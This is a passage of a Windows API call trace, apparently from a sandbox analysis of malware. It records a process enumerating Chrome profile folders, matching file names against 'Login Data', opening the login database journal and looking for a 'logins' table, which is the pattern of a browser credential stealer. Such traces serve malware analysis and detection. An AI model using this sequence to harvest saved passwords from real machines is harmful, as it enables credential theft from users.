pcbRead=0x12f950*=0x5) returned 0x0 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664480 [0079.511] LocalFree (hMem=0x6687b0) returned 0x0 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x6643e8 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.511] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6643e8, cb=0xc, pcbRead=0x12f950 | out: pv=0x6643e8*=0x73, pcbRead=0x12f950*=0xc) returned 0x0 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.511] LocalFree (hMem=0x6643e8) returned 0x0 [0079.511] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.511] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.512] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x6687b0, cb=0x5, pcbRead=0x12f950 | out: pv=0x6687b0*=0x73, pcbRead=0x12f950*=0x5) returned 0x0 [0079.512] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0079.512] LocalFree (hMem=0x6687b0) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.512] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x12f96f, cb=0x1, pcbRead=0x12f93c | out: pv=0x12f96f*=0x9, pcbRead=0x12f93c*=0x1) returned 0x0 [0079.512] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.512] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643c28 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.512] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.512] ISequentialStream:RemoteRead (in: This=0x64baa8, pv=0x643c28, cb=0x31, pcbRead=0x12f950 | out: pv=0x643c28*=0x43, pcbRead=0x12f950*=0x31) returned 0x0 [0079.512] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x650450 [0079.512] LocalFree (hMem=0x643c28) returned 0x0 [0079.512] LocalFree (hMem=0x670d78) returned 0x0 [0079.512] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.512] lstrcmpiA (lpString1="stats", lpString2="logins") returned 1 [0079.512] LocalFree (hMem=0x664480) returned 0x0 [0079.512] LocalFree (hMem=0x670cd8) returned 0x0 [0079.512] LocalFree (hMem=0x6643e8) returned 0x0 [0079.512] LocalFree (hMem=0x665780) returned 0x0 [0079.512] LocalFree (hMem=0x650450) returned 0x0 [0079.512] LocalFree (hMem=0x670c38) returned 0x0 [0079.512] LocalFree (hMem=0x681ba0) returned 0x0 [0079.512] IUnknown:Release (This=0x64ba58) returned 0x0 [0079.512] LocalFree (hMem=0x6640d8) returned 0x0 [0079.513] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.513] StrStrIA (lpFirst="Login Data-journal", lpSrch="Login Data") returned="Login Data-journal" [0079.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.513] lstrlenA (lpString="\\") returned 1 [0079.513] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0079.513] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0079.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.513] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.513] lstrlenA (lpString="Login Data-journal") returned 18 [0079.513] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x65b5e8 [0079.513] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.513] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Login Data-journal" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" [0079.513] LocalFree (hMem=0x650450) returned 0x0 [0079.513] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12fa60 | out: ppstm=0x12fa60*=0x64ba58) returned 0x0 [0079.513] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" (normalized: "c:\\users\\eebsym5\\appdata\\local\\google\\chrome\\user data\\default\\login data-journal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.515] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x0, lpOverlapped=0x0) returned 1 [0079.515] CloseHandle (hObject=0x1e0) returned 1 [0079.515] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.515] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.515] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.515] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.515] IUnknown:Release (This=0x64ba58) returned 0x0 [0079.515] LocalFree (hMem=0x65b5e8) returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Network Action Predictor", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Network Action Predictor-journal", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Network Persistent State", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Origin Bound Certs", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Origin Bound Certs-journal", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="Preferences", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="previews_opt_out.db", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="previews_opt_out.db-journal", lpSrch="Login Data") returned 0x0 [0079.515] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.515] StrStrIA (lpFirst="README", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Secure Preferences", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Shortcuts", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Shortcuts-journal", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Top Sites", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Top Sites-journal", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="TransportSecurity", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] StrStrIA (lpFirst="Visited Links", lpSrch="Login Data") returned 0x0 [0079.516] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.516] lstrcmpiA (lpString1=".", lpString2="Web Applications") returned -1 [0079.516] lstrcmpiA (lpString1="..", lpString2="Web Applications") returned -1 [0079.516] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.516] lstrlenA (lpString="\\") returned 1 [0079.516] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0079.516] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0079.516] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.516] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.516] lstrlenA (lpString="Web Applications") returned 16 [0079.516] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x6640d8 [0079.516] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.516] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Web Applications" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" [0079.516] LocalFree (hMem=0x650450) returned 0x0 [0079.516] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned 79 [0079.516] lstrlenA (lpString="\\*.*") returned 4 [0079.516] LocalAlloc (uFlags=0x40, uBytes=0xd4) returned 0x65b5e8 [0079.516] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" [0079.516] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*" [0079.516] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0079.517] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.517] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.517] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.517] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.517] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0079.517] lstrcmpiA (lpString1=".", lpString2="_crx_aohghmighlieiainnegkcijnfilokake") returned -1 [0079.517] lstrcmpiA (lpString1="..", lpString2="_crx_aohghmighlieiainnegkcijnfilokake") returned -1 [0079.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned 79 [0079.517] lstrlenA (lpString="\\") returned 1 [0079.517] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x65b6c8 [0079.517] lstrcpyA (in: lpString1=0x65b6c8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications" [0079.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\" [0079.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\") returned 80 [0079.517] lstrlenA (lpString="_crx_aohghmighlieiainnegkcijnfilokake") returned 37 [0079.517] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x650450 [0079.517] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\" [0079.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\", lpString2="_crx_aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake" [0079.517] LocalFree (hMem=0x65b6c8) returned 0x0 [0079.517] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned 117 [0079.517] lstrlenA (lpString="\\*.*") returned 4 [0079.517] LocalAlloc (uFlags=0x40, uBytes=0xfa) returned 0x650550 [0079.517] lstrcpyA (in: lpString1=0x650550, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake" [0079.517] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*" [0079.517] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0x642868 [0079.517] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.517] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0079.517] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.517] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.518] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0079.518] StrStrIA (lpFirst="Google Docs.ico", lpSrch="Login Data") returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 1 [0079.518] StrStrIA (lpFirst="Google Docs.ico.md5", lpSrch="Login Data") returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7b2 | out: lpFindFileData=0x12f7b2) returned 0 [0079.518] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.518] LocalFree (hMem=0x650550) returned 0x0 [0079.518] LocalFree (hMem=0x650450) returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0079.518] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0079.518] LocalFree (hMem=0x65b5e8) returned 0x0 [0079.518] LocalFree (hMem=0x6640d8) returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.518] StrStrIA (lpFirst="Web Data", lpSrch="Login Data") returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.518] StrStrIA (lpFirst="Web Data-journal", lpSrch="Login Data") returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.518] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.518] LocalFree (hMem=0x66b940) returned 0x0 [0079.518] LocalFree (hMem=0x66b738) returned 0x0 [0079.518] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.518] lstrcmpiA (lpString1=".", lpString2="EVWhitelist") returned -1 [0079.518] lstrcmpiA (lpString1="..", lpString2="EVWhitelist") returned -1 [0079.518] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.518] lstrlenA (lpString="\\") returned 1 [0079.518] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.518] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.518] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.518] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.518] lstrlenA (lpString="EVWhitelist") returned 11 [0079.518] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x66b738 [0079.518] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="EVWhitelist" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0079.519] LocalFree (hMem=0x643c28) returned 0x0 [0079.519] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 66 [0079.519] lstrlenA (lpString="\\*.*") returned 4 [0079.519] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.519] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0079.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*" [0079.519] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.519] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.519] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.519] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.519] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.519] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.519] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.519] LocalFree (hMem=0x66b940) returned 0x0 [0079.519] LocalFree (hMem=0x66b738) returned 0x0 [0079.519] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.519] lstrcmpiA (lpString1=".", lpString2="FileTypePolicies") returned -1 [0079.519] lstrcmpiA (lpString1="..", lpString2="FileTypePolicies") returned -1 [0079.519] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.519] lstrlenA (lpString="\\") returned 1 [0079.519] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.519] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0079.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.519] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.519] lstrlenA (lpString="FileTypePolicies") returned 16 [0079.519] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x66b738 [0079.519] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.519] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="FileTypePolicies" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0079.519] LocalFree (hMem=0x643c28) returned 0x0 [0079.519] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 71 [0079.520] lstrlenA (lpString="\\*.*") returned 4 [0079.520] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6640d8 [0079.520] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") 